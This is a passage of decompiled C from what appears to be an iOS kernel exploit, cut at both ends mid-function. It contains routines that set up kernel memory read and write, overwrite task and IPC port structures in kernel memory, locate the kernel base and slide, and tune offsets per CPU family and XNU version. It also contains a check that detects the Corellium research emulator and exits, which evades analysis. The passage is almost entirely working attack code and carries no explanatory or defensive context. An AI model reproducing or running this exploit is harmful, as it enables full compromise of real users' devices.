    || !*(uint64_t *)(a1 + 536) )
  {
    if ( !a3 )
      goto LABEL_47;
  }
  else if ( *(uint8_t *)(a1 + 12) && (a3 & 1) == 0 )
  {
LABEL_47:
    if ( !kwrite64_dispatch((struct_krwCtx *)a1, v18, 0) )
      return 163856;
    goto LABEL_58;
  }
  if ( !kread_u32(a1, address - 16, &v31) )
    return v8;
  if ( (v31 & 0x7FFFFFFF) == 0x4A616371 )
  {
    if ( !kread_u32(a1, address - 12, &v32) )
      return v8;
    if ( (unsigned int)(v32 - 17) > 0x1DF )
      return 163857;
    __memset_chk(&newBytes, 0xFF, (unsigned int)(v32 - 16), 0x200u);
    if ( !(unsigned int)kwrite_with_retry(a1, address, (__int64)&newBytes, (unsigned int)(v32 - 16)) )
      return 163856;
  }
  else
  {
    if ( !a4 )
      return 163856;
    *a4 = 1;
  }
LABEL_58:
  if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    v26 = v10 + v19 + *(int *)(a1 + 360);
  }
  else
  {
    v25 = *(uint64_t *)&length[1];
    v26 = v25 + (unsigned int)get_context_version_offset_112(a1);
  }
  if ( !kread_physmap_decorated((struct_krwCtx *)a1, v26, (unsigned __int64 *)&address) )
    return v8;
  if ( !address )
    goto LABEL_85;
  if ( !check_kaddr_in_physmap((struct_krwCtx *)a1, address) )
    return 163878;
  if ( length[0] )
  {
    *(uint64_t *)&v27 = -1;
    *((uint64_t *)&v27 + 1) = -1;
    v64 = v27;
    v65 = v27;
    v62 = v27;
    v63 = v27;
    v60 = v27;
    v61 = v27;
    v58 = v27;
    v59 = v27;
    v56 = v27;
    v57 = v27;
    v54 = v27;
    v55 = v27;
    v52 = v27;
    v53 = v27;
    v50 = v27;
    v51 = v27;
    v48 = v27;
    v49 = v27;
    v46 = v27;
    v47 = v27;
    v44 = v27;
    v45 = v27;
    v42 = v27;
    v43 = v27;
    v41 = v27;
    v39 = v27;
    v40 = v27;
    v37 = v27;
    v38 = v27;
    v35 = v27;
    v36 = v27;
    newBytes = v27;
    if ( !(unsigned int)kwritebuf_universal((uint64_t *)a1, address, &newBytes, length[0]) )
      return 163856;
    goto LABEL_85;
  }
  if ( *(uint32_t *)(a1 + 6448) == -1
    || *(uint32_t *)(a1 + 6452) == -1
    || *(uint32_t *)(a1 + 6464) == -1
    || !*(uint64_t *)(a1 + 536) )
  {
    if ( !a3 )
      goto LABEL_74;
  }
  else if ( *(uint8_t *)(a1 + 12) && (a3 & 1) == 0 )
  {
LABEL_74:
    if ( !kwrite64_dispatch((struct_krwCtx *)a1, v26, 0) )
      return 163856;
    goto LABEL_85;
  }
  if ( !kread_u32(a1, address - 16, &v31) )
    return v8;
  if ( (v31 & 0x7FFFFFFF) != 0x4A616371 )
  {
    if ( a4 )
    {
      *a4 = 1;
      goto LABEL_85;
    }
    return 163856;
  }
  if ( !kread_u32(a1, address - 12, &v32) )
    return v8;
  if ( (unsigned int)(v32 - 17) > 0x1DF )
    return 163857;
  __memset_chk(&newBytes, 0xFF, (unsigned int)(v32 - 16), 0x200u);
  if ( !(unsigned int)kwrite_with_retry(a1, address, (__int64)&newBytes, (unsigned int)(v32 - 16)) )
    return 163856;
LABEL_85:
  if ( mach_task_self_ == a2 && (!a4 || !*a4) )
    krw_ctx_set_flag((uint32_t *)a1, KRW_CTX_FLAG_SELF_TASK_PORT_CLEARED);
  return 0;
}
// 3C6D0: variable 'v24' is possibly undefined
// 3C880: variable 'v28' is possibly undefined

//----- (000000000003C9A4) ----------------------------------------------------
__int64 __fastcall physmap_kread(struct_krwCtx *a1, unsigned int a2)
{
  __int64 v4; // x19
  unsigned __int64 v5; // x0
  unsigned __int64 v6; // x22
  int v7; // w8
  mach_vm_size_t v10; // x23
  unsigned int v11; // w0
  __int64 v12; // x22
  unsigned __int64 v13; // x22
  unsigned __int64 v14; // x0
  int xnuMajorVersion; // w8
  __int64 v16; // x8
  __int128 v17; // q0
  __int64 v18; // x2
  int v19; // w0
  unsigned __int64 v21; // x0
  __int128 v22; // q0
  unsigned __int64 vaddr; // [xsp+8h] [xbp-2E8h] BYREF
  unsigned int v24; // [xsp+14h] [xbp-2DCh] BYREF
  unsigned __int64 v25; // [xsp+18h] [xbp-2D8h] BYREF
  __int128 newBytes[32]; // [xsp+20h] [xbp-2D0h] BYREF
  __int128 v27[8]; // [xsp+220h] [xbp-D0h] BYREF

  v4 = 163856;
  vaddr = 0;
  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
    v14 = kread_task_struct(a1, a2);
    if ( v14 )
    {
      xnuMajorVersion = a1->xnuMajorVersion;
      switch ( xnuMajorVersion )
      {
        case 6153:
          v16 = 696;
          break;
        case 8019:
          v16 = 800;
          break;
        case 7195:
          v16 = 672;
          break;
        default:
          return 163847;
      }
      v13 = v16 + v14;
      if ( !kread_physmap_decorated(a1, v16 + v14, &vaddr) )
        return 163855;
      v10 = 0;
      goto LABEL_26;
    }
    return 163854;
  }
  v5 = get_task_kobject_addr(a1, a2);
  if ( !v5 )
    return 163854;
  v6 = v5;
  v7 = a1->xnuMajorVersion;
  if ( v7 == 8792 || v7 == 10002 || v7 == 8796 )
    v10 = 72;
  else
    v10 = 0;
  v11 = get_ptrauth_data_ptr_offset(a1);
  if ( !kread_physmap_decorated(a1, v6 + v11, (unsigned __int64 *)v27) )
    return 163855;
  if ( !validate_kaddr_range((__int64)a1, *(__int64 *)&v27[0]) )
    return 163878;
  v12 = *(uint64_t *)&v27[0];
  v13 = v12 + (unsigned int)get_context_version_offset_40((__int64)a1);
  if ( !kread_physmap_decorated(a1, v13, &vaddr) )
    return 163855;
LABEL_26:
  if ( !vaddr )
  {
LABEL_37:
    if ( !(unsigned int)get_task_vm_region_base(a2) )
      return 163843;
    if ( mach_task_self_ == a2 )
      krw_ctx_set_flag(a1, KRW_CTX_FLAG_SELF_TASK_IPC_SPACE_CLEARED);
    return 0;
  }
  if ( !check_kaddr_in_physmap(a1, vaddr) )
    return 163878;
  if ( (uint32_t)v10 )
  {
    *(uint64_t *)&v17 = -1;
    *((uint64_t *)&v17 + 1) = -1;
    newBytes[30] = v17;
    newBytes[31] = v17;
    newBytes[28] = v17;
    newBytes[29] = v17;
    newBytes[26] = v17;
    newBytes[27] = v17;
    newBytes[24] = v17;
    newBytes[25] = v17;
    newBytes[22] = v17;
    newBytes[23] = v17;
    newBytes[20] = v17;
    newBytes[21] = v17;
    newBytes[18] = v17;
    newBytes[19] = v17;
    newBytes[16] = v17;
    newBytes[17] = v17;
    newBytes[14] = v17;
    newBytes[15] = v17;
    newBytes[12] = v17;
    newBytes[13] = v17;
    newBytes[10] = v17;
    newBytes[11] = v17;
    newBytes[8] = v17;
    newBytes[9] = v17;
    newBytes[7] = v17;
    newBytes[5] = v17;
    newBytes[6] = v17;
    newBytes[3] = v17;
    newBytes[4] = v17;
    newBytes[1] = v17;
    newBytes[2] = v17;
    newBytes[0] = v17;
    if ( !(unsigned int)kwritebuf_universal(a1, vaddr, newBytes, v10) )
      return v4;
    goto LABEL_37;
  }
  v25 = 0;
  if ( !(unsigned int)lookup_physmap_page_slot(a1, 0xDu, (__int64 *)&v25) )
    return 163858;
  v18 = v25;
  if ( v25 )
  {
LABEL_36:
    if ( !kwrite64_dispatch(a1, v13, v18) )
      return v4;
    goto LABEL_37;
  }
  v24 = 128;
  v21 = alloc_physmap_page((__int64)a1, &v24);
  v25 = v21;
  if ( !v21 )
    return 708617;
  *(uint64_t *)&v22 = -1;
  *((uint64_t *)&v22 + 1) = -1;
  v27[6] = v22;
  v27[7] = v22;
  v27[4] = v22;
  v27[5] = v22;
  v27[2] = v22;
  v27[3] = v22;
  v27[0] = v22;
  v27[1] = v22;
  if ( (unsigned int)kwrite_with_retry((__int64)a1, v21, (__int64)v27, 128)
    && (unsigned int)cache_physmap_page_slot((__int64)a1, 0xDu, v25) )
  {
    v18 = v25;
    goto LABEL_36;
  }
  return v4;
}
// 3CBB8: variable 'v19' is possibly undefined

//----- (000000000003CCA8) ----------------------------------------------------
__int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something)
{
  kern_return_t v4; // w0
  __int64 mach_port_with_a2; // x21
  int v7; // w0
  __int64 v8; // x27
  __int128 oword10; // q1
  __int64 v10; // x9
  pid_t v11; // w0
  io_registry_entry_t v12; // w0
  io_registry_entry_t v13; // w22
  const struct __CFString *v14; // x0
  const struct __CFString *v15; // x23
  const struct __CFString *CFProperty; // x0
  const struct __CFString *v17; // x25
  CFTypeID TypeID; // x26
  const struct __CFString *v19; // x24
  int HasPrefix; // w26
  unsigned __int64 commPageBaseRaw; // x0
  unsigned __int64 commPageBase; // x22
  int *p_xnuMajorVersion; // x22
  int xnuMajorVersion; // w8
  int xnuMajorVersionGroup; // w9
  int v26; // w9
  __int64 v27; // x8
  int v28; // w0
  unsigned __int64 xnuVersionPacked; // x8
  int v30; // w1
  int v31; // w1
  unsigned __int64 v32; // x8
  int v33; // w8
  int v34; // w0
  int v35; // w8
  int v36; // w9
  uint64_t *gap192; // x26
  int v39; // w0
  unsigned __int64 v40; // x9
  unsigned __int64 v41; // x22
  int v42; // w23
  unsigned __int64 v43; // x8
  unsigned __int64 v44; // x21
  __int64 v45; // x8
  unsigned __int64 v46; // x0
  __int64 v47; // x1
  unsigned __int64 v48; // x0
  mach_vm_address_t v49; // x24
  __int64 v50; // x8
  unsigned __int64 v51; // x0
  __int64 v52; // x24
  __int64 (__fastcall *v53)(struct_krwCtx *); // x8
  unsigned int v54; // w1
  unsigned __int64 v55; // x0
  unsigned __int64 v56; // x21
  size_t v57; // x8
  struct_a1 *v58; // x0
  __int128 v59; // q1
  task_name_t v60; // w0
  __int64 *v61; // x23
  __int64 *st_ino; // x21
  int v63; // w26
  __int64 v64; // x0
  unsigned __int64 v65; // x0
  struct_a1 *v67; // x0
  __int64 v68; // x21
  __int128 v69; // q1
  __int64 v70; // x8
  __int64 v71; // x8
  host_t v72; // w0
  host_t v73; // w2
  int v74; // w0
  int v75; // w0
  host_priv_t v76; // w0
  char *v77; // x0
  struct_a1 *v78; // x0
  struct_a1 *v79; // x21
  unsigned int v80; // w26
  __int128 v81; // q1
  struct_v83 *v82; // x0
  struct_v83 *v83; // x23
  __int128 v84; // q1
  __int64 v85; // x9
  __int64 v86; // x0
  unsigned __int64 variable_addr; // x0
  unsigned __int64 v88; // x22
  unsigned __int64 v89; // x0
  mach_vm_address_t v90; // x23
  unsigned int v92; // w0
  krw_setup_path_t setupPath; // w8
  mach_port_name_t *v93; // [xsp+8h] [xbp-168h]
  unsigned __int64 v94; // [xsp+10h] [xbp-160h]
  int v95; // [xsp+18h] [xbp-158h]
  uint32_t v96; // [xsp+20h] [xbp-150h] BYREF
  char v97; // [xsp+27h] [xbp-149h] BYREF
  __int64 v98; // [xsp+28h] [xbp-148h] BYREF
  struct_xnuMajorVersion xnuVersion; // [xsp+30h] [xbp-140h] BYREF
  __int64 v100; // [xsp+60h] [xbp-110h] BYREF
  size_t v101; // [xsp+68h] [xbp-108h] BYREF
  uint64_t cpuFamily; // [xsp+70h] [xbp-100h] BYREF
  size_t v103; // [xsp+78h] [xbp-F8h] BYREF
  struct stat v104; // [xsp+80h] [xbp-F0h] BYREF

  v100 = 0;
  memset(&xnuVersion, 0, sizeof(xnuVersion));
  v98 = 0;
  v97 = 0;
  v96 = 0;
  *(uint64_t *)krwCtx->gap1911 = -1;
  *(uint64_t *)&krwCtx->gap1913 = -1;
  *(uint64_t *)&krwCtx->gap1915 = -1;
  mach_timebase_info(&krwCtx->timebase);
  pthread_mutex_init(&krwCtx->someMutex2, 0);
  pthread_mutex_init(&krwCtx->someMutex, 0);
  v4 = semaphore_create(mach_task_self_, &krwCtx->semaphore, 0, 0);
  if ( v4 )
    return v4 | 0x80000000;
  v7 = kernel_version_parse(&xnuVersion, krwCtx->gap16C, &krwCtx->gap16C[1]);
  if ( !v7 )
    return 708629;
  v8 = 163858;
  oword10 = xnuVersion.oword10;
  *(__int128 *)&krwCtx->xnuMajorVersion = xnuVersion.majorVersion;
  *(__int128 *)&krwCtx->gap144[12] = oword10;
  v10 = *((uint64_t *)&xnuVersion.oword10 + 1);
  *(uint64_t *)krwCtx->gap160 = xnuVersion.qword20;
  krwCtx->stride168 = 8;
  mach_port_with_a2 = 163847;
  if ( (unsigned __int64)(v10 - XNU_VERSION_PACKED(6153, 0, 103, 0, 0)) > 0xF090EFE400003LL )
    return mach_port_with_a2;
  memset(&v104, 0, sizeof(v104));
  if ( !stat("/usr/libexec/corelliumd", &v104) )
    return 0x28022;
  v11 = getpid();
  if ( (int)sandbox_check(v11, "iokit-get-properties", SANDBOX_CHECK_NO_REPORT, "IOPlatformSerialNumber") <= 0 )
  {
    v12 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/");
    if ( v12 )
    {
      v13 = v12;
      v14 = CFStringCreateWithCString(kCFAllocatorDefault, "IOPlatformSerialNumber", 0x8000100u);
      if ( v14 )
      {
        v15 = v14;
        CFProperty = (const struct __CFString *)IORegistryEntryCreateCFProperty(v13, v14, kCFAllocatorDefault, 0);
        if ( CFProperty )
        {
          v17 = CFProperty;
          TypeID = CFStringGetTypeID();
          if ( TypeID == CFGetTypeID(v17) )
          {
            v19 = CFStringCreateWithCString(kCFAllocatorDefault, "CORELLIUM", 0x8000100u);
            HasPrefix = CFStringHasPrefix(v17, v19);
            CFRelease(v19);
            CFRelease(v17);
            CFRelease(v15);
            IOObjectRelease(v13);
            if ( HasPrefix )
              return 0x28022;
            goto LABEL_17;
          }
        }
        CFRelease(v15);
      }
      IOObjectRelease(v13);
    }
  }
LABEL_17:
  commPageBaseRaw = comm_page64_base_address();
  if ( !commPageBaseRaw )
    return 0x28012;
  commPageBase = commPageBaseRaw;
  cpuFamily = 0;
  if ( !(unsigned int)comm_page_get_cpu_family((uint32_t *)&cpuFamily) )
    return 0x28022;
  if ( (uint32_t)cpuFamily == CPUFamily_A9 || (uint32_t)cpuFamily == CPUFamily_ARM_CYCLONE || (uint32_t)cpuFamily == CPUFamily_A8 )
  {
    if ( (*(uint64_t *)(commPageBase + COMM_PAGE_CPU_CAPABILITIES64_OFFSET) & 0x4000000) == 0 )
      goto LABEL_23;
    return 0x28022;
  }
  if ( *(uint16_t *)(commPageBase + COMM_PAGE_CACHE_LINESIZE_OFFSET) != 128 )
    return 0x28022;
LABEL_23:
  p_xnuMajorVersion = &krwCtx->xnuMajorVersion;
  xnuMajorVersion = krwCtx->xnuMajorVersion;
  if ( xnuMajorVersion > 8791 )
  {
    if ( xnuMajorVersion == 8792 || xnuMajorVersion == 10002 )
      goto LABEL_33;
    xnuMajorVersionGroup = 8796;
  }
  else
  {
    if ( (unsigned int)(xnuMajorVersion - 8019) < 2 || xnuMajorVersion == 6153 )
      goto LABEL_33;
    xnuMajorVersionGroup = 7195;
  }
  if ( xnuMajorVersion != xnuMajorVersionGroup )
    return mach_port_with_a2;
LABEL_33:
  if ( xnuMajorVersion >= 7195 )
    krwCtx->gap4[7] = check_sandboxed(krwCtx->xnuVersionPacked >> 43 > 0x44A);
  if ( !(unsigned int)comm_page_get_cpu_family((uint32_t *)&cpuFamily) )
    return 163858;
  if ( (int)cpuFamily <= 0x2876F5B4 )
  {
    if ( (int)cpuFamily > (int)0xE81E7EF5 )
    {
      if ( (int)cpuFamily > 0x7D34B9E )
      {
        if ( (uint32_t)cpuFamily == CPUFamily_A12 )
        {
          v31 = KRW_CTX_FLAG_CPU_A12;
        }
        else
        {
          if ( (uint32_t)cpuFamily != CPUFamily_A14 )
            goto LABEL_69;
          if ( (int)number_of_cpus() >= 8 && krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(8792, 40, 108, 0, 0) )
            krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER);
          v31 = KRW_CTX_FLAG_CPU_A14;
        }
        goto LABEL_68;
      }
      if ( (uint32_t)cpuFamily != CPUFamily_A11 )
      {
        v26 = CPUFamily_ARM_IBIZA;
        goto LABEL_64;
      }
      v31 = KRW_CTX_FLAG_CPU_A11;
LABEL_68:
      krw_ctx_set_flag(krwCtx, v31);
      goto LABEL_69;
    }
    if ( (uint32_t)cpuFamily == CPUFamily_A16 )
    {
LABEL_65:
      if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
        krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT);
      v31 = KRW_CTX_FLAG_CPU_A16;
      goto LABEL_68;
    }
    if ( (uint32_t)cpuFamily == CPUFamily_A9 )
    {
      v31 = KRW_CTX_FLAG_CPU_A9;
      goto LABEL_68;
    }
    if ( (uint32_t)cpuFamily != CPUFamily_A15 )
      goto LABEL_69;
    v28 = number_of_cpus();
    xnuVersionPacked = krwCtx->xnuVersionPacked;
    if ( v28 < 8 )
    {
      if ( xnuVersionPacked > XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
      {
        v30 = KRW_CTX_FLAG_PAC_KERNEL_LAYOUT;
        goto LABEL_118;
      }
    }
    else if ( xnuVersionPacked >> 43 > 0x44A )
    {
      v30 = KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER;
LABEL_118:
      krw_ctx_set_flag(krwCtx, v30);
    }
    v31 = KRW_CTX_FLAG_CPU_A15;
    goto LABEL_68;
  }
  if ( (int)cpuFamily <= 0x573B5EEB )
  {
    switch ( (uint32_t)cpuFamily )
    {
      case CPUFamily_A17:
        krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT);
        v31 = KRW_CTX_FLAG_CPU_A17;
        break;
      case CPUFamily_A8:
        v31 = KRW_CTX_FLAG_CPU_A8;
        break;
      case CPUFamily_A13:
        v31 = KRW_CTX_FLAG_CPU_A13;
        break;
      default:
        goto LABEL_69;
    }
    goto LABEL_68;
  }
  if ( (int)cpuFamily > 0x67CEEE92 )
  {
    if ( (uint32_t)cpuFamily == CPUFamily_A10 )
    {
      v31 = KRW_CTX_FLAG_CPU_A10;
      goto LABEL_68;
    }
    v26 = CPUFamily_ARM_PALMA;
LABEL_64:
    if ( (uint32_t)cpuFamily != v26 )
      goto LABEL_69;
    goto LABEL_65;
  }
  if ( (uint32_t)cpuFamily != CPUFamily_ARM_UNKNOWN_573B5EEC )
  {
    v26 = CPUFamily_ARM_LOBOS;
    goto LABEL_64;
  }
  krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_CPU_A14);
  v40 = krwCtx->xnuVersionPacked;
  if ( v40 - XNU_VERSION_PACKED(7195, 100, 326, 0, 0) <= 0x641056BEFFFFFLL )
  {
    v27 = 708616;
    if ( v40 <= XNU_VERSION_PACKED(8020, 241, 30, 0, 0) || krwCtx->xnuMajorVersion >= 8792 )
      return v27;
  }
LABEL_69:
  v32 = krwCtx->xnuVersionPacked;
  if ( v32 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    return mach_port_with_a2;
  if ( krwCtx->xnuMajorVersion <= 8791 )
  {
    memset(&v104, 0, 32);
    v103 = 32;
    if ( sysctlbyname("hw.model", &v104, &v103, 0, 0) )
    {
      v33 = errno;
      if ( v33 < 0 )
        v33 = -v33;
      return v33 | 0x40000000u;
    }
    if ( (v104.st_dev & 0xDF) == 0x4A && !((comm_page_memory_size() - 1073741825) >> 30) )
      krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_LOW_MEMORY_DEVICE);
    v32 = krwCtx->xnuVersionPacked;
  }
  if ( v32 <= XNU_VERSION_PACKED(8796, 142, 1, 700, 12) )
  {
    if ( v32 > XNU_VERSION_PACKED(8796, 102, 4, 1023, 1023) )
    {
      if ( (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 || (krwCtx->flags & KRW_CTX_FLAG_CPU_A12) != 0 )
        goto LABEL_87;
      goto LABEL_86;
    }
    if ( v32 > XNU_VERSION_PACKED(8020, 241, 30, 0, 0) )
    {
LABEL_86:
      if ( *p_xnuMajorVersion >= 8792 )
        return mach_port_with_a2;
      goto LABEL_87;
    }
    if ( v32 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) || *p_xnuMajorVersion > 8791 || ((krwCtx->flags & KRW_CTX_FLAG_LOW_MEMORY_DEVICE) != 0) == 0 )
      return mach_port_with_a2;
  }
LABEL_87:
  v34 = sub_get_page_size();
  if ( !v34 )
    return 0x28012;
  krwCtx->pageSizeOrSomething = v34;
  krwCtx->pageMask = (unsigned int)(v34 - 1);
  v35 = krwCtx->xnuMajorVersion;
  if ( v35 > 8791 )
  {
    if ( v35 == 8792 || v35 == 10002 )
      goto LABEL_96;
    v36 = 8796;
  }
  else
  {
    if ( (unsigned int)(v35 - 8019) < 2 || v35 == 6153 )
      goto LABEL_96;
    v36 = 7195;
  }
  if ( v35 != v36 )
    return 0x28012;
LABEL_96:
  krwCtx->gap16C[3] = 2 * v34 - 64;
  *(__int128 *)krwCtx->gap1921 = xmmword_43730;
  if ( !(unsigned int)another_sandbox_check((__int64)krwCtx) )
    return 0x28012;
  mach_port_with_a2 = create_mach_port_with_a2((__int64)krwCtx, 0x200u);
  if ( (uint32_t)mach_port_with_a2 )
    return mach_port_with_a2;
  gap192 = (uint64_t *)krwCtx->gap1911;
  if ( something )
  {
    setupPath = krw_select_setup_path(krwCtx);
    v39 = krw_prepare_selected_setup_path(krwCtx, setupPath, &v96);
    if ( !v39 )
      return 163869;
    if ( v96 && krw_has_any_ready_method(krwCtx) )
    {
      krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_KRW_METHODS_READY);
    }
  }
  v41 = krwCtx->xnuVersionPacked;
  if ( v41 >> 43 <= 0x44A )
    v42 = 128;
  else
    v42 = 1152;
  if ( !krw_has_any_ready_method(krwCtx) )
  {
    mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap19210, 0, (uint64_t)&krwCtx->gap191[693]);
    if ( (uint32_t)mach_port_with_a2 )
      return mach_port_with_a2;
  }
  if ( has_valid_krw_path(krwCtx) )
  {
    if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) && krwCtx->gap4[7] )
    {
      v95 = 1;
      goto LABEL_172;
    }
    mach_port_with_a2 = setup_krw_engine(krwCtx);
    if ( (uint32_t)mach_port_with_a2 )
      return mach_port_with_a2;
  }
  v95 = 0;
LABEL_172:
  v94 = krwCtx->xnuVersionPacked;
  v43 = v94;
  if ( v94 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    mach_port_with_a2 = refresh_target_task_port((__int64)krwCtx, mach_task_self_, 0, &v97);
    if ( (uint32_t)mach_port_with_a2 )
      return mach_port_with_a2;
    v43 = krwCtx->xnuVersionPacked;
  }
  v93 = (mach_port_name_t *)&krwCtx->gap191[693] + 1;
  if ( v43 <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
  {
    v47 = krwCtx->gap19210;
    mach_port_with_a2 = 163852;
    if ( !v47 )
      return mach_port_with_a2;
    v48 = get_ipc_port_offset_by_version((__int64)krwCtx, v47);
    if ( !v48 )
      return mach_port_with_a2;
    v49 = v48;
    if ( !kread_u32((__int64)krwCtx, v48, &v104) )
      return 163855;
    if ( !v104.st_dev && !noppl_kwrite32((__int64)krwCtx, v49, 1) )
      return 163856;
    mach_port_with_a2 = plist_elem_is_string_6(krwCtx, krwCtx->gap19210, v93);
    if ( (uint32_t)mach_port_with_a2 )
      return mach_port_with_a2;
  }
  else
  {
    HIDWORD(krwCtx->gap191[693]) = -1;
  }
  if ( (unsigned int)alloc_vm_page((__int64)krwCtx) )
  {
    mach_port_with_a2 = alloc_vm_page_v2((__int64)krwCtx);
    if ( (uint32_t)mach_port_with_a2 )
      return mach_port_with_a2;
  }
  v44 = krwCtx->machHeaderPlus0x8000;
  if ( !v44 )
  {
    v45 = *(uint64_t *)&krwCtx->gap42[104];
    if ( v45 )
    {
      if ( *(uint64_t *)&krwCtx->gap42[112] )
      {
        v44 = *(uint64_t *)(v45 + 312);
        if ( v44 )
        {
LABEL_199:
          krwCtx->machHeaderPlus0x8000 = v44;
          goto LABEL_200;
        }
      }
    }
    if ( krwCtx->slideMaybe )
    {
      v46 = find_kernel_base_ptr(krwCtx);
      if ( v46 )
      {
        v44 = krwCtx->slideMaybe + v46;
LABEL_196:
        v50 = *(uint64_t *)&krwCtx->gap42[104];
        if ( v50 && *(uint64_t *)&krwCtx->gap42[112] )
          *(uint64_t *)(v50 + 312) = v44;
        goto LABEL_199;
      }
    }
    else
    {
      v44 = kernel_get_base_slid(krwCtx, 0);
      if ( v44 )
        goto LABEL_196;
    }
    return 163860;
  }
LABEL_200:
  if ( !krwCtx->slideMaybe )
  {
    v51 = find_kernel_base_ptr(krwCtx);
    if ( !v51 )
      return 163861;
    krwCtx->slideMaybe = v44 - v51;
  }
  if ( !validate_ipc_kobject_read((__int64)krwCtx, mach_task_self_) )
    return 163862;
  if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    if ( (v95 & 1) != 0 )
      goto LABEL_211;
LABEL_210:
    krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_KERNEL_PORT_READY);
    goto LABEL_211;
  }
  if ( !v97 && v94 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
    goto LABEL_210;
LABEL_211:
  v52 = krwCtx->gap1921[2];
  if ( !v52 )
  {
    v58 = (struct_a1 *)calloc(0x128u, 1u);
    if ( !v58 )
      return 708617;
    v52 = (__int64)v58;
    krw_ctx_zero_fields(v58, (__int64)krwCtx);
    v59 = xnuVersion.oword10;
    *(__int128 *)(v52 + 112) = xnuVersion.majorVersion;
    *(__int128 *)(v52 + 128) = v59;
    *(uint64_t *)(v52 + 144) = xnuVersion.qword20;
    *(uint32_t *)(v52 + 152) = krwCtx->gap16C[3];
    *(uint32_t *)(v52 + 56) = krwCtx->pageSizeOrSomething;
    if ( !iosurface_physmap_setup_alt(v52, krwCtx->gap191[693], v44, v42) )
      return 163863;
    krwCtx->gap1921[2] = v52;
  }
  v53 = *(__int64 (__fastcall **)(struct_krwCtx *))&krwCtx->gap190[80];
  if ( v53 && *(uint64_t *)&krwCtx->gap190[88] )
  {
    mach_port_with_a2 = v53(krwCtx);
    if ( (uint32_t)mach_port_with_a2 )
      return mach_port_with_a2;
    *(uint64_t *)&krwCtx->gap190[80] = 0;
    *(uint64_t *)&krwCtx->gap190[88] = 0;
  }
  if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
  {
    v54 = *v93;
    if ( !*v93 )
      v54 = krwCtx->gap191[693];
    v55 = find_kernel_struct_addr(krwCtx, v54);
    if ( v55 )
    {
      v56 = v55;
      if ( kread_physmap_decorated(krwCtx, v55 + 32, &cpuFamily) && kread_physmap_decorated(krwCtx, v56 + 40, &v101) )
      {
        krwCtx->gap1921[0] = cpuFamily;
        v57 = v101;
        goto LABEL_233;
      }
    }
    return 0x28012;
  }
  v60 = *v93;
  if ( !*v93 )
    v60 = krwCtx->gap191[693];
  if ( (unsigned int)get_task_memory_info(v60, &v104, &v103) )
    return 0x28012;
  krwCtx->gap1921[0] = *(uint64_t *)&v104.st_dev;
  v57 = v103;
LABEL_233:
  krwCtx->gap1921[1] = v57;
  if ( *(uint32_t *)gap192 == -1 || krwCtx->gap1911[1] == -1 || krwCtx->gap1915 == -1 || !krwCtx->gap190u )
    goto LABEL_260;
  v61 = *(__int64 **)krwCtx->gap190_;
  if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
  {
    if ( v61 )
      goto LABEL_259;
    goto LABEL_260;
  }
  if ( v61 )
    goto LABEL_259;
  macho_getsectbyname("__DATA_CONST", krwCtx->gap1921[2], "__const", &v104);
  st_ino = (__int64 *)v104.st_ino;
  if ( !v104.st_ino || !*(uint64_t *)&v104.st_uid || v104.st_ino >= *(uint64_t *)&v104.st_uid + v104.st_ino )
    return 0;
  v61 = 0;
  v63 = 0;
  while ( 1 )
  {
    if ( !v61 )
    {
      if ( macho_read_u64(*(__int64 **)&v104.st_dev, st_ino) == 7 )
        v61 = st_ino;
      else
        v61 = 0;
      goto LABEL_255;
    }
    v64 = macho_read_u64_thunk(*(uint64_t *)&v104.st_dev, st_ino);
    v65 = krw_xpac_vaddr_2(krwCtx, v64);
    if ( v65 >= krwCtx->gap1921[0] && (v65 & 3) == 0 && v65 < krwCtx->gap1921[1] )
      break;
    v63 = 0;
    v61 = 0;
LABEL_255:
    st_ino = (__int64 *)((char *)st_ino + krwCtx->stride168);
    if ( (unsigned __int64)st_ino >= *(uint64_t *)&v104.st_uid + v104.st_ino )
      return 0;
  }
  if ( ++v63 != 7 )
    goto LABEL_255;
  *(uint64_t *)krwCtx->gap190_ = v61;
LABEL_259:
  *(uint64_t *)(*(uint64_t *)&krwCtx->gap42[104] + 256LL) = v61;
LABEL_260:
  if ( *(uint8_t *)(v52 + 156) )
    krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_HAS_AUXKC_INFO);
  if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) && *(uint64_t *)(v52 + 160) )
  {
    v67 = (struct_a1 *)calloc(0x128u, 1u);
    if ( v67 )
    {
      v68 = (__int64)v67;
      krw_ctx_zero_fields(v67, (__int64)krwCtx);
      v69 = xnuVersion.oword10;
      *(__int128 *)(v68 + 112) = xnuVersion.majorVersion;
      *(__int128 *)(v68 + 128) = v69;
